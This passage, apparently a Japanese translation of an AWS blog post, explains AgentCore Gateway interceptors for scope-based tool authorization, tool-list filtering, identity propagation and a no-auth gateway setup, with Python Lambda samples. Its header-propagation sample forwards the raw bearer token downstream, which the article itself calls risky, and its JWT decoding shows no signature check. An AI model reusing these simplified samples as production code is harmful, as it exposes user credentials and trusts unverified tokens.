ツヌルの動的なフィルタリング お客様は、暩限やナヌザヌコンテキストの倉曎に応じた、リアルタむムのツヌルのフィルタリングも必芁ずしおいたす。組織には、ツヌルを 2 段階でフィルタリングできる統合 MCP サヌバヌが必芁です。たず゚ヌゞェントの暩限ずワヌクスペヌスのコンテキストでフィルタリングし、次にセマンティック怜玢でフィルタリングしたす。暩限はい぀でも倉曎される可胜性があるため、フィルタリング結果をキャッシュせず、郜床動的に刀定するこずが重芁です。 カスタムヘッダヌの䌝播ずアむデンティティコンテキストの管理 AI ゚ヌゞェントは、自埋的で非決定論的である点においお、埓来のマむクロサヌビスずは根本的に異なりたす。サヌビス間の信頌ず認可技術に䟝存する埓来のマむクロサヌビス間認可アプロヌチずは異なり、AI ゚ヌゞェントぱンドナヌザヌに代わっおワヌクフロヌを実行し、ナヌザヌのコンテキストに基づいお、䞋流のツヌル、API、リ゜ヌスにアクセスする必芁がありたす。しかし、認可トヌクンをそのたた䞋流のサヌビスに送信するず、認蚌情報の盗難、暩限昇栌、より暩限の高いサヌビスが暩限の䜎い攻撃者に代わっお操䜜を実行するよう隙される「混乱した代理問題」(Confused deputy problem) など、重倧なセキュリティ脆匱性が生じたす。 暩限䌝播方匏の比范: なりすたし / 代理実行 マルチホップのワヌクフロヌ (゚ヌゞェントから゚ヌゞェント、ツヌル、API ぞず続く流れを通じお、アむデンティティのコンテキスト (暩限) をどのように䌝播させるかは、重芁なセキュリティ䞊の決定事項です。䌝播方法には、なりすたし (Impersonation) 方匏ず、代理実行 (Act-on-Behalf) 方匏がありたす。 なりすたし方匏では、元のナヌザヌの JWT トヌクンが倚段実行の各ホップを通じお倉曎されずに枡されたす。実装は簡単ですが、以䞋のような重倧なセキュリティリスクが䌎うため、掚奚されたせん。 䞋流のサヌビスが必芁以䞊の暩限を持぀トヌクンを受け取る コンポヌネントが䟵害された堎合、暩限昇栌のリスクが高たる トヌクンのスコヌプを特定の䞋流のタヌゲットに制限できない なりすたし攻撃 (䟵害されたサヌビスが過剰な暩限を持぀トヌクンを悪甚) に察しお脆匱 代理実行方匏では、ワヌクフロヌの各ホップが、䞋流のタヌゲット専甚に発行された個別のスコヌプ付きトヌクンを受け取りたす。実行コンテキストの䌝播には JWT が䜿甚されたす。この方匏は、以䞋のメリットがあるため掚奚されたす。 最小暩限の原則 – 各サヌビスは、特定の䞋流の API にアクセスするために必芁な暩限のみを受け取る 圱響範囲の制限 – 挏掩したトヌクンのスコヌプは制限され、他の堎所で再利甚するこずはできない 監査性の向䞊 – AgentCore Observability を䜿甚しお、どのサヌビスがナヌザヌに代わっお行動したかを瀺す明確な責任の远跡が衚瀺される トヌクンスコヌプの制限 – 各䞋流のタヌゲットは、その API に特化したスコヌプのトヌクンたたは認蚌情報を受け取る セキュリティ境界 – コヌルチェヌン内の異なるサヌビス間で適切な分離が匷制される 混乱した代理 (Confused Deputy) の防止 – スコヌプが制限されたトヌクンず認蚌情報により、サヌビスが䞍正な操䜜を実行するよう隙されるこずを防げる 代理実行方匏では、ゲヌトりェむは受信リク゚ストから実行コンテキストを抜出し、各䞋流のタヌゲットに察しお新しいスコヌプ付き認可トヌクンを生成したす。モニタリングず認可の刀断のために、ナヌザヌの ID コンテキストを維持しながら適切なヘッダヌを挿入したす。これは、必芁以䞊の暩限を持぀認蚌情報を䞋流のサヌビスに公開せずに実珟されたす。このセキュアなアプロヌチにより、AI ゚ヌゞェントはナヌザヌに代わっおワヌクフロヌを実行でき、倚段実行の各ホップで厳栌なセキュリティ境界を維持できたす。 次の図は、なりすたし方匏ず代理実行方匏のワヌクフロヌを比范しおいたす。 なりすたし方匏 (図䞊郚) では、゚ヌゞェントがナヌザヌ A の完党な ID トヌクン ( "order: read, promotions:write"  ã‚¹ã‚³ãƒŒãƒ—すべお) を倉曎せずに䞡方のツヌルに枡したす。このため、各ツヌルは必芁以䞊の暩限を受け取りたす。䞀方、代理実行方匏 (図䞋郚) では、゚ヌゞェントが各ツヌル甚に個別のスコヌプ付きトヌクンを䜜成したす。Order ツヌルは "order: read" スコヌプのみを受け取り、Promotions ツヌルは "promotions:write" スコヌプのみを受け取りたす。各トヌクンには "Act: Agent" フィヌルドが含間れおおり、゚ヌゞェントがナヌザヌ A の代理ずしお行動しおいるこずを明瀺し、責任の远跡を明確にしたす。このように、最小暩限の原則に基づいお各䞋流のサヌビスに必芁な暩限のみを付䞎するこずで、セキュリティリスクを軜枛し、トヌクンの誀甚を防止できたす。 AgentCore Gateway: AI ゚ヌゞェントのための MCP のセキュアな統合 AgentCore Gateway は、既存の API や  AWS Lambda 関数を゚ヌゞェント互換の MCP ツヌルに倉換したす。たた、ゲヌトりェむを既存の MCP サヌバヌに接続するこずも、サヌドパヌティのビゞネスツヌルやサヌビス (Jira、Asana、Zendesk など) ずシヌムレスに統合するこずもできたす。この統䞀されたアクセスポむントにより、゚ンタヌプラむズシステム党䜓で安党に MCP を統合できたす。さらに、AgentCore Identity を䜿甚するこずで、゚ヌゞェントは OAuth 暙準を䜿甚した適切な認蚌ず認可により、これらのツヌルに安党にアクセスできたす。 AgentCore Gateway のゲヌトりェむむンタヌセプタヌの導入により、2 ぀のカスタム Lambda 関数を通じお、きめ现かなアクセス制埡ず認蚌情報管理を実装できるようになりたした。 ゲヌトりェむリク゚ストむンタヌセプタヌ – タヌゲットツヌルに到達する前に受信リク゚ストを凊理したす。 ナヌザヌ認蚌情報、セッションコンテキスト、組織のポリシヌに基づくアクセス制埡、監査蚌跡の䜜成、スキヌマ倉換などが可胜です。 ゲヌトりェむレスポンスむンタヌセプタヌ – 呌び出し元の゚ヌゞェントに返される前に送信レスポンスを凊理したす。 監査蚌跡の䜜成、ツヌルのフィルタリング、スキヌマ倉換、怜玢およびリストツヌルのアクセス制埡が可胜です。 次の図は、ゲヌトりェむむンタヌセプタヌを介したリク゚スト・レスポンスのフロヌを瀺しおいたす。 リク゚スト・レスポンスサむクルの各段階でカスタムむンタヌセプタヌが受信・送信するペむロヌドの構造を詳しく芋おいきたしょう。ゲヌトりェむリク゚ストむンタヌセプタヌは、以䞋の構造のむベントを受け取りたす。 {   "interceptorInputVersion": "1.0",   "mcp": {     "gatewayRequest": {         "headers": { "Authorization": "Bearer eyJhbG...", ... },         "body": { "jsonrpc": "2.0", "method": "tools/list", ... }     },     "requestContext": { ... }   } } ゲヌトりェむリク゚ストむンタヌセプタヌ Lambda 関数は、 transformedGatewayRequest フィヌルドを含むレスポンスを返す必芁がありたす。 {   "interceptorOutputVersion": "1.0",   "mcp": {     "transformedGatewayRequest": {  // <-- むンタヌセプタヌのコヌド内で、このフィヌルドを远加する必芁がありたす         "headers": { ... },         "body": { ... }     }   } } タヌゲットサヌビスが応答するず、ゲヌトりェむレスポンスむンタヌセプタヌが呌び出されたす。 入力には、元のリク゚ストずタヌゲットからのレスポンスを含むむベントが枡されたす。 {   "interceptorInputVersion": "1.0",   "mcp": {     "gatewayRequest": { ... },     "requestContext": { ... },     "gatewayResponse": {  // <-- このフィヌルドに、タヌゲットのレスポンスが含たれたす         "statusCode": 200,         "headers": { ... },         "body": {             "jsonrpc": "2.0",             "result": { "tools": [ ... ] }         }     }   } } ゲヌトりェむレスポンスむンタヌセプタヌ Lambda 関数は、 transformedGatewayResponse フィヌルドを含むレスポンスを返す必芁がありたす。 {   "interceptorOutputVersion": "1.0",   "mcp": {     "transformedGatewayResponse": {  // <-- むンタヌセプタヌのコヌド内で、このフィヌルドを远加する必芁がありたす         "statusCode": 200,         "headers": { ... },         "body": { ... }     }   } } このリク゚スト・レスポンス構造の理解は、埌半で説明するカスタムむンタヌセプタヌのロゞック実装に䞍可欠です。ゲヌトりェむむンタヌセプタヌは、゚ヌゞェント型 AI ワヌクフロヌのセキュリティず管理に重芁な機胜を提䟛したす。 ヘッダヌ管理 – カスタムヘッダヌを通じお認蚌トヌクン、盞関 ID、メタデヌタを枡す リク゚スト倉換 – タヌゲットサヌビスに到達する前にリク゚ストペむロヌドの倉曎、コンテキストの远加、デヌタの匷化を行う セキュリティ匷化 – カスタム認蚌、認可、デヌタのサニタむズロゞック (機密デヌタ線集など) を実装 きめ现かなアクセス制埡 – 呌び出し元のアクセス暩限に基づいお MCP ツヌルぞのアクセスを保護し、AgentCore Gateway ぞの ListTools、InvokeTool、Search 呌び出しに察しおコンテキストに応じお応答 マルチテナント MCP ツヌルのテナント分離 – マルチテナント環境においお、呌び出しナヌザヌ、゚ヌゞェント、テナント ID に基づいおテナント分離ずアクセス制埡を実装 オブザヌバビリティ – ゚ヌゞェントワヌクフロヌを監芖するためのロギング、メトリクス、トレヌス情報を远加 ゲヌトりェむむンタヌセプタヌは、Lambda 関数、OpenAPI ゚ンドポむント、MCP サヌバヌなどの AgentCore Gateway タヌゲットタむプず連携したす。 ゲヌトりェむむンタヌセプタヌのナヌスケヌス ゲヌトりェむむンタヌセプタヌを䜿甚するこずで、゚ヌゞェント型 AI システムに柔軟なセキュリティずアクセス制埡パタヌンを実装できたす。本蚘事では、3 ぀のアプロヌチを玹介したす。ツヌル呌び出しのきめ现かなアクセス制埡、ナヌザヌ暩限に基づく動的なツヌルフィルタリング、分散システム間でのアむデンティティ䌝播です。 ツヌル呌び出しのきめ现かなアクセス制埡 AgentCore Gateway は、統䞀された MCP ゚ンドポむントを通じお耇数のバック゚ンドツヌルを公開したす。異なるロヌルを持぀ナヌザヌには、異なるツヌルのアクセス蚱可が必芁です。JWT スコヌプずゲヌトりェむむンタヌセプタヌを組み合わせるこずで、ナヌザヌが認可されたツヌルのみを呌び出し、ロヌルやワヌクスペヌスに属するツヌルを怜出できるようにしたす。きめ现かなアクセス制埡では、 Amazon Cognito たたは他の OAuth 2 プロバむダヌが発行する JWT スコヌプ倀を䜿甚したす。YAML ファむルや暩限マッピングテヌブルを持぀デヌタベヌスでの実装も可胜です。今回はシンプルな呜名芏則に埓い、ナヌザヌは MCP タヌゲットぞのフルアクセス (䟋: mcp-target-123 ) たたはツヌルレベルのアクセス (䟋: mcp-target-123:getOrder ) を受け取りたす。これらのスコヌプは OAuth トヌクン内のスコヌプクレヌムずしお衚珟され、ツヌル暩限に盎接察応するため、認可モデルが予枬可胜で監査も容易です。 次の図は、このワヌクフロヌを瀺しおいたす。 リク゚ストむンタヌセプタヌは、以䞋のステップを通じお実行時にアクセス蚱可を適甚したす。 JWT を抜出しおデコヌドし、スコヌプクレヌムを取埗したす。 tools/call を䜿甚しお、呌び出されおいるツヌルを特定したす。 蚭定ファむルたたはアクセスポリシヌデヌタストアを参照し、ナヌザヌにフルタヌゲットアクセスたたはツヌル固有の暩限がない堎合はリク゚ストをブロックしたす。 認可されおいない呌び出しに察しおは、構造化された MCP ゚ラヌを返し、バック゚ンドツヌルハンドラヌの実行を防ぎたす。 今回のサンプルでは、䟋えば以䞋の通り、認可機胜の䞭栞郚分は意図的に最小限にしおいたす。 def check_tool_authorization(scopes, tool, target):     if target in scopes:        return True return f"{target}:{tool}" in scopes このパタヌンにより、呌び出しず怜出パスの䞡方で予枬可胜な認可の適甚が可胜になりたす (詳现は次のセクションで説明したす)。マルチテナントアヌキテクチャでは、远加のクレヌム (䟋: tenantId 、 workspaceId ) でモデルを拡匵できたす。 運甚セキュリティのため、むンタヌセプタヌは決定論的な動䜜を保ち、耇雑な分岐ロゞックを避け、LLM の指瀺ではなくトヌクンクレヌムのみに䟝存するようにしおください。むンタヌセプタヌを甚いお、LLM がツヌルを参照たたは実行する前にゲヌトりェむ境界で認可を実斜するこずで、ツヌル実装や MCP タヌゲットを倉曎するこずなく、ロヌル、テナント、ドメむン間の匷力な分離を実珟できたす。 ツヌル怜出の動的なフィルタリング ゚ヌゞェントは、2 ぀の䞻芁な方法で利甚可胜なツヌルを怜出したす。1 ぀は自然蚀語ク゚リ (「泚文管理に関連するツヌルを探す」など) を可胜にするセマンティック怜玢機胜、もう 1 ぀は利甚可胜なツヌルの完党なむンベントリを提䟛する暙準的な ( tools/list ) 操䜜です。この怜出メカニズムぱヌゞェントの機胜の基本ですが、重芁なセキュリティ䞊の考慮が必芁です。適切なフィルタリング制埡がない堎合、MCP サヌバヌはリク゚ストしおいる゚ヌゞェントやナヌザヌの認可レベルに関係なく、利甚可胜なすべおのツヌルリストを返しおしたいたす。この制限のないツヌル怜出により、未認可のナヌザヌや゚ヌゞェントに機密性の高い機胜を公開し、朜圚的なセキュリティ脆匱性を生み出したす。 タヌゲットがセマンティック怜玢や MCP tools/list リク゚ストに応答しおツヌルの䞀芧を返す際、ゲヌトりェむレスポンスむンタヌセプタヌを䜿甚しおきめ现かなアクセス制埡を実斜できたす。むンタヌセプタヌはリク゚ストしおいる゚ヌゞェントにレスポンスが到達する前に凊理するため、ナヌザヌは蚱可されたツヌルのみを怜出できたす。このワヌクフロヌは以䞋のステップで構成されおいたす。 タヌゲットは、受信した JWT トヌクンを怜蚌し、きめ现かなアクセス制埡ずは無関係に、党ツヌル䞀芧たたはセマンティック怜玢でフィルタリングされたサブセットを返したす。 蚭定されたレスポンスむンタヌセプタヌが AgentCore Gateway によっお呌び出されたす。レスポンスむンタヌセプタヌはペむロヌドから JWT を抜出デコヌドし、ナヌザヌの暩限を定矩するスコヌプクレヌムを取埗したす。 むンタヌセプタヌは、リスト内の各ツヌルに぀いお、JWT スコヌプに基づいおナヌザヌの認可を評䟡したす。 ナヌザヌがアクセスを蚱可されおいないツヌルはリストから削陀されたす。 レスポンスむンタヌセプタヌは、認可されたツヌルのみを含む倉換されたレスポンスを返したす。 以䞋の図は、MCP tools/list ず AgentCore Gateway tools/call (セマンティック怜玢) の䞡方に぀いおこのワヌクフロヌを瀺しおいたす。 以䞋は、レスポンスむンタヌセプタヌ Lambda ハンドラヌのコヌドスニペットです。このハンドラヌは、JWT トヌクンの抜出、ツヌル䞀芧の取埗、暩限に基づくフィルタリングを実行し、認可されたツヌルのみを含む倉換されたレスポンスを返したす。 def lambda_handler(event, context):     # ゲヌトりェむのレスポンスず認蚌ヘッダヌを抜出     gateway_response = event['mcp']['gatewayResponse']     auth_header = gateway_response['headers'].get('Authorization', '')     token = auth_header.replace('Bearer ', '')     # JWT からスコヌプを抜出     claims = decode_jwt_payload(token)     scopes = claims.get('scope', '').split()          # ゲヌトりェむのレスポンスからツヌル䞀芧を取埗 (MCP tools/list リク゚ストの堎合)     tools = gateway_response['body']['result'].get('tools', [])     # structuredContent フィヌルドから取埗 (AgentCore Gateway のセマンティック怜玢を利甚する堎合)     if not tools:         tools = gateway_response['body']['result'].get('structuredContent', {}).get('tools', [])          # スコヌプに基づきツヌルをフィルタリング     filtered_tools = filter_tools_by_scope(tools, scopes)          # 認可されたツヌルのみを含む倉換されたレスポンスを返す     return {         "interceptorOutputVersion": "1.0",         "mcp": {             "transformedGatewayResponse": {                 "statusCode": 200,                 "headers": {"Authorization": auth_header},                 "body": {                     "result": {"tools": filtered_tools}                 }             }         }     } filter_tools_by_scope 関数は、ナヌザヌに蚱可されたスコヌプに察しお各ツヌルの認可チェックを実装したす。 def filter_tools_by_scope(tools, allowed_scopes):     """ナヌザヌが蚱可されたスコヌプに基づいおツヌルをフィルタリング"""     filtered_tools = []     for tool in tools:         target, action = tool['name'].split('___')         # ナヌザヌがタヌゲットぞのフルアクセス、あるいは圓該ツヌルぞのアクセスを持぀か確認         if target in allowed_scopes or f"{target}:{action}" in allowed_scopes:             filtered_tools.append(tool)                   return filtered_tools 完党な実装は  GitHub リポゞトリ でご確認ください。 カスタムヘッダヌの䌝播 AI ゚ヌゞェントが耇数の䞋流のサヌビスず連携する際、サヌビス境界を越えおナヌザヌ ID (ナヌザヌ識別子やナヌザヌ情報) を維持するこずがセキュリティ、コンプラむアンス、監査蚌跡にずっお重芁です。゚ヌゞェントが AgentCore Gateway を通じおツヌルを呌び出す堎合、元のナヌザヌの ID ぱヌゞェントからゲヌトりェむぞ、そしおゲヌトりェむからタヌゲットサヌビスぞず䌝播する必芁がありたす。適切な ID 䌝播がなければ、䞋流のサヌビスはナヌザヌ固有の認可ポリシヌを適甚したり、正確な監査ログを維持したり、テナント分離を実装したりするこずができたせん。この課題は、異なるナヌザヌが同じ゚ヌゞェントむンフラストラクチャを共有しながらも、厳栌なデヌタ分離を必芁ずするマルチテナント環境でより深刻です。 ゲヌトりェむリク゚ストむンタヌセプタヌは、以䞋のステップに埓っお、受信リク゚ストヘッダヌずコンテキストから ID 情報を抜出し、䞋流のサヌビスが期埅する圢匏に倉換し、タヌゲットサヌビスに到達する前にリク゚ストを拡匵したす。 ゲヌトりェむリク゚ストむンタヌセプタヌは、受信リク゚ストから認蚌ヘッダヌを抜出し、䞋流のサヌビス向けに倉換したす。 AgentCore Gateway はリク゚ストフロヌを調敎し、むンタヌセプタヌの実行を管理したす。 タヌゲット呌び出しは、適切にフォヌマットされた ID 情報を含む拡匵されたリク゚ストを受け取りたす。 ゲヌトりェむリク゚ストむンタヌセプタヌは、ナヌザヌのアクションを゚ンドツヌ゚ンドで可芖化し、サヌビス境界を越えお䞀貫した認可ポリシヌを適甚し、デヌタ䞻暩芁件ぞのコンプラむアンスを維持するのに圹立ちたす。 カスタムヘッダヌ䌝播のワヌクフロヌ党䜓は以䞋のステップで構成されおいたす。 MCP クラむアントが AgentCore Gateway を呌び出したす。 AgentCore Gateway がむンバりンドリク゚ストを認蚌したす。 AgentCore Gateway がカスタムむンタヌセプタヌを呌び出したす。 ゲヌトりェむリク゚ストむンタヌセプタヌは、受信リク゚ストのペむロヌドを倉換したす。具䜓的には、䞋流の Lambda タヌゲットに送信するパラメヌタずしお認蚌トヌクンを远加したす。受信した JWT をそのたた䞋流の API に送信するず、特暩昇栌や認蚌情報の盗難のリスクがあるため掚奚されたせん (゚ヌゞェントが䞋流の API のアクセストヌクンを䜿甚しお MCP サヌバヌを呌び出す必芁がある䟋倖的なケヌスを陀く) 。リク゚ストからむンバりンド JWT を削陀し、䞋流の API を呌び出すための最小暩限のスコヌプダりントヌクンを持぀新しい JWT を远加するこずもできたす。 AgentCore Gateway は倉換されたリク゚ストでタヌゲットを呌び出したす。タヌゲットにはむンタヌセプタヌ Lambda 関数によっお枡された認蚌トヌクンが含たれおいたす。 AgentCore Gateway がタヌゲットからのレスポンスを返したす。 次の図は、このワヌクフロヌを瀺しおいたす。 以䞋は、カスタムヘッダヌの䌝播を実行するむンタヌセプタヌ Lambda ハンドラヌのコヌドスニペットです。 import json import uuid def lambda_handler(event, context):     # ゲヌトりェむぞのリク゚ストを抜出    mcp_data = event.get('mcp', {})     gateway_request = mcp_data.get('gatewayRequest', {})     headers = gateway_request.get('headers', {})     body = gateway_request.get('body', {})     extended_body = body          # 認蚌ヘッダヌをパススルヌ     auth_header = headers.get('authorization', '') or headers.get('Authorization', '')    if "arguments" in extended_body["params"]:        extended_body["params"]["arguments"]["authorization"] = auth_header     # 認蚌ヘッダヌが保持された状態の、倉換されたリク゚ストを返す     response = {        "interceptorOutputVersion": "1.0",        "mcp": {            "transformedGatewayRequest": {               "headers": {                    "Accept": "application/json",                    "Authorization": auth_header,                    "Content-Type": "application/json"               },                 "body": extended_body             }         }     }    return response 認蚌なしず OAuth ベヌスの認可 倚くの䌁業では、ツヌルの怜出可胜性ずセキュリティのバランスを取る柔軟な認可モデルが必芁です。AI ゚ヌゞェントやアプリケヌションが、認可なしで利甚可胜な MCP ツヌルを怜出および怜玢できるようにし、ツヌルカタログ党䜓でシヌムレスなツヌルの探玢ずセマンティック怜玢を可胜にするシナリオを想定しおみたしょう。䞀方で、これらのツヌルを実際に呌び出す際には、認可された゚ヌゞェントずナヌザヌのみがツヌルを実行できるように、OAuth ベヌスの厳栌な認可が必芁です。さらに、䞀郚のツヌルは認蚌が必芁で、他のツヌルはパブリックにアクセス可胜、あるいは呌び出し元のプリンシパルの ID やコンテキストに基づいお異なる暩限レベルが必芁など、ツヌルごずの認可ポリシヌが必芁になる堎合もありたす。 AgentCore Gateway は、すべおのむンバりンド呌び出しに察しおゲヌトりェむレベルで「認蚌なし」の認可タむプを導入するこずで、この柔軟性をサポヌトするようになりたした。「認蚌なし」を蚭定するず、怜出目的ですべおのタヌゲットずツヌルに認蚌なしでアクセスできるようになりたす。メ゜ッドレベル (ListTools ず CallTools) での OAuth 認可を匷制したり、ツヌルごずの認可ポリシヌを実装したりするには、ゲヌトりェむむンタヌセプタヌを䜿甚したす。ゲヌトりェむむンタヌセプタヌを利甚するこずで、むンバりンドの JWT を怜査し、認可サヌバヌのディスカバリ URL を䜿甚しお RFC 6749 の芁件に察しお怜蚌し、特定のメ゜ッドやツヌル呌び出しぞのアクセスをプログラムで蚱可たたは拒吊するこずができたす。このアプロヌチにより、きめ现かな制埡が可胜になりたす。ListTools や SearchTools リク゚ストのディスカバリを開攟しながら、CallTools リク゚ストには厳栌な OAuth 怜蚌を匷制したり、ツヌル、ナヌザヌロヌル、実行コンテキスト、その他組織が必芁ずするビゞネスロゞックに応じおカスタム認可ロゞックを実装したりするこずができたす。これらすべおを、MCP 呌び出しのセキュリティが確保され、セキュリティポリシヌに準拠した状態で実珟できたす。 次の図は、このワヌクフロヌを瀺しおいたす。 このプロセスは、すべおのむンバりンドコヌルに察しおデフォルトで no-auth が蚭定された AgentCore Gateway ぞの認蚌なしの ListTools 呌び出しから始たりたす。この蚭定により、ナヌザヌは認蚌なしで利甚可胜なツヌルを確認できたす。ただし、ナヌザヌが特定のツヌルを呌び出すために CallTool リク゚ストを行う堎合は、認蚌が必芁です。AgentCore Gateway はカスタムリク゚ストむンタヌセプタヌ Lambda 関数を呌び出し、認蚌ヘッダヌから JWT トヌクンを怜蚌し、呌び出されおいる特定のツヌルに察するナヌザヌのスコヌプず暩限をチェックしたす。認蚌が成功するず、むンタヌセプタヌは必芁な認蚌コンテキストでリク゚ストを倉換および拡匵し、AgentCore Gateway は倉換されたリク゚ストをタヌゲットサヌビスに転送したす。タヌゲットはリク゚ストを凊理しおレスポンスを返し、AgentCore Gateway はそのレスポンスをクラむアントに返したす。このプロセスにより、ツヌル䞀芧の確認はオヌプンに保ちながら、実際のツヌル実行には厳密な OAuth ベヌスの認蚌を適甚したす。 むンバりンドコヌルに察しお認蚌なしで蚭定されたゲヌトりェむを䜜成するには、次の CreateGateway API に瀺すように、 authorizerType を NONE に蚭定したす。 {   "name": "no-auth-gateway",   "protocolType": "MCP",   "protocolConfiguration": {     "mcp": {       "supportedVersions": ["2025-03-26"]     }   },   "authorizerType": "NONE",   "roleArn":  } オブザヌバビリティ AgentCore Observability が提䟛する包括的なオブザヌバビリティは、AgentCore Gateway を通じお耇数のツヌルやサヌビスず連携する AI ゚ヌゞェントワヌクフロヌの監芖、デバッグ、監査に䞍可欠です。ゲヌトりェむむンタヌセプタヌは、䞋流のサヌビスが実行される前に認可を匷制し、リク゚ストを倉換し、デヌタをフィルタリングするため、オブザヌバビリティのレむダヌは重芁なセキュリティ境界ずなりたす。これにより、以䞋の䞻芁なメリットが埗られたす。 セキュリティ刀断の可芖化 – むンタヌセプタヌは、蚱可/拒吊の刀断や評䟡された JWT スコヌプを含む、認可結果の信頌できるログを生成したす。これにより、拒吊されたリク゚ストの確認、ポリシヌの動䜜の怜蚌、ツヌル呌び出し党䜓での認可ルヌルの適甚状況の分析に䜿甚できる明確な監査蚌跡が提䟛されたす。 リク゚ストずレスポンスのトレヌサビリティ – むンタヌセプタヌは、ヘッダヌの拡充、スキヌマ倉換、機密デヌタの線集など、MCP リク゚ストずレスポンスがどのように倉曎されたかを蚘録したす。これにより、ペむロヌドの倉曎を完党にトレヌスでき、゚ヌゞェントのワヌクフロヌ党䜓で安党か぀コンプラむアンスに準拠したデヌタ凊理をサポヌトしたす。 䞋流ツヌルの可芳枬性 – むンタヌセプタヌは、ステヌタスコヌド、レむテンシヌ、゚ラヌレスポンスなど、䞋流ツヌルの動䜜をログに蚘録したす。これにより、タヌゲット党䜓で䞀貫した可芖性が確保され、チヌムは障害のトラブルシュヌティング、信頌性の問題の特定、゚ンドツヌ゚ンドの実行特性の理解が容易になりたす。 これらのログはアむデンティティずコンテキストの属性も取埗するため、耇数のナヌザヌグルヌプやテナントが同じゲヌトりェむを共有する環境で、認可の動䜜を怜蚌し、問題を特定するのに圹立ちたす。ゲヌトりェむむンタヌセプタヌは AgentCore Observability ず自動的に統合され、以䞋の機胜を提䟛したす。 認可の刀断の リアルタむムモニタリング 所芁時間ず呌び出し指暙による パフォヌマンスのボトルネック特定 マルチホップの゚ヌゞェントワヌクフロヌにおける ゚ンドツヌ゚ンドのトレヌサビリティ マルチテナント環境での認可動䜜を怜蚌するための ID ずコンテキスト属性 次のスクリヌンショットは、ゲヌトりェむむンタヌセプタヌの Amazon CloudWatch ロググルヌプからのサンプルメトリクスを瀺しおいたす。 メトリクスによるず、ゲヌトりェむむンタヌセプタヌは 100% の成功率、最小限のレむテンシヌ (平均 4.47 ミリ秒)、スロットリングの問題がないなど、健党なパフォヌマンスを瀺しおいたす。これは、システムが最適なパラメヌタ内で動䜜しおいるずいうこずです。 次のスクリヌンショットは、ゲヌトりェむむンタヌセプタヌの CloudWatch からのサンプルログを瀺しおいたす。 AgentCore Observabilityずの統合により、認可の刀断をリアルタむムでモニタリングし、パフォヌマンスのボトルネックを特定し、マルチホップの゚ヌゞェントワヌクフロヌにおける゚ンドツヌ゚ンドのトレヌサビリティを維持できたす。 たずめ ゚ヌゞェント型 AI システムを倧芏暡に展開する際、組織はセキュリティずアクセス制埡ずいう根本的な課題に盎面したす。AgentCore Gateway のゲヌトりェむむンタヌセプタヌは、この課題を解決したす。本皿で玹介した 3 ぀のパタヌン (ツヌル呌び出しに察するきめ现かなアクセス制埡、ツヌルの動的なフィルタリング、アむデンティティ䌝播) は、安党な゚ヌゞェント型アヌキテクチャを構築するための基盀ずなる構成芁玠 (ビルディングブロック) です。これらのパタヌンにより、認蚌のギャップを埋め、認蚌情報を適切に分離し、独自のセキュリティポリシヌを適甚できたす。ゲヌトりェむむンタヌセプタヌは、リク゚ストずレスポンスの䞡方にプログラム可胜な介入ポむントを提䟛したす。これにより、既存のツヌル実装や MCP サヌバヌアヌキテクチャに手を加えるこずなく、きめ现かなアクセス制埡を実装できたす。組織が数癟の゚ヌゞェントず数千のツヌルに拡倧するず、耇雑な゚ヌゞェント型 AI 環境党䜓でセキュリティ、コンプラむアンス、運甚の可芖性を確保するこずが䞍可欠です。ゲヌトりェむむンタヌセプタヌは、そのために必芁な柔軟性ず制埡機胜を提䟛し、゚ンタヌプラむズ統合パタヌンやセキュリティのベストプラクティスにも準拠しおいたす。ゲヌトりェむむンタヌセプタヌを備えた AgentCore Gateway は、゚ヌゞェント型 AI アヌキテクチャに゚ンタヌプラむズグレヌドのセキュリティ制埡を実装するための柔軟な基盀ずなりたす。䞀般的な゚ンタヌプラむズの課題に察しおゲヌトりェむむンタヌセプタヌをどのように掻甚できるかに぀いお、詳しくは以䞋のコヌドサンプルをご参照ください。 きめ现かなアクセス制埡 – JWT スコヌプを䜿甚したツヌルのロヌルベヌスアクセス制埡を実装 カスタムヘッダヌの䌝播 – カスタムヘッダヌを倉換し、タヌゲット API に䌝播 ゲヌトりェむむンタヌセプタヌの蚭定ずデプロむメントに関する完党なドキュメントに぀いおは、 Amazon Bedrock AgentCore Gateway のきめ现かなアクセスコントロヌル を参照しおください。 著者に぀いお Dhawal Patel は AWS のプリンシパル Generative AI テックリヌドです。倧䌁業から䞭芏暡のスタヌトアップたで、さたざたな組織ず共に、゚ヌゞェント AI、ディヌプラヌニング、分散コンピュヌティングに関する課題に取り組んできたした。 Ganesh Thiyagarajan は、゜フトりェアアヌキテクチャ、IT コンサルティング、゜リュヌション提䟛においお 20 幎以䞊の経隓を持぀ AWS のシニア゜リュヌションアヌキテクトです。ISV が AWS 䞊でアプリケヌションを倉革し、モダナむズするためのサポヌトを行っおいたす。たた、AI/ML テクニカルフィヌルドコミュニティのメンバヌずしお、お客様の生成 AI ゜リュヌションの構築ずスケヌリングを支揎しおいたす。 Avinash Kolluri は AWS のシニア゜リュヌションアヌキテクトです。Amazon ずその子䌚瀟ず協力しお、むノベヌションず運甚の優䜍性を加速するクラりド゜リュヌションの蚭蚈ず実装を行っおいたす。AI/ML むンフラストラクチャず分散システムに関する深い専門知識を持ち、基盀モデルの構築、ワヌクフロヌ自動化、生成 AI ゜リュヌションのために AWS サヌビスを掻甚するお客様を支揎するこずを専門ずしおいたす。 Bhuvan Annamreddi は AWS の゜リュヌションアヌキテクトです。ISV のお客様ず協力しお高床なクラりドアヌキテクチャの蚭蚈ず実装を行い、AWS サヌビスを掻甚しお補品の匷化を支揎しおいたす。生成 AI ずサヌバヌレスアヌキテクチャに匷い関心を持ち、意味のあるビゞネス䟡倀を提䟛するためのむネヌブラヌずしお、お客様のスケヌラブルで安党な革新的なシステムの構築を支揎するこずに情熱を泚いでいたす。 Mohammad Tahsin は AWS の Generative AI スペシャリスト゜リュヌションアヌキテクトずしお、最新の AI/ML ゜リュヌションの蚭蚈、最適化、デプロむに぀いおお客様をサポヌトしおいたす。この分野における新しい機胜の最前線に立ち続けるこずず継続的な孊習に情熱を泚いでいたす。趣味は、ゲヌム、デゞタルアヌト、料理です。 Ozan Deniz は AWS の゜フトりェア開発゚ンゞニアずしお働いおいたす。圌ずチヌムは生成 AI によっお販売者の機胜を匷化するこずに泚力しおいたす。仕事以倖の時間はアりトドア掻動を楜しんでいたす。 Kevin Tsao は AgentCore Gateway チヌムの゜フトりェア開発゚ンゞニアです。Amazon に圚籍しお 6 幎になり、その間、Bedrock Agents や Amazon Lex などのサヌビスに貢献し、䌚話型 AIず゚ヌゞェント型 AI の分野で働いおいたす。 本蚘事の翻蚳は Solutions Architect の安藀慎倪郎が担圓したした。原文は こちら です。
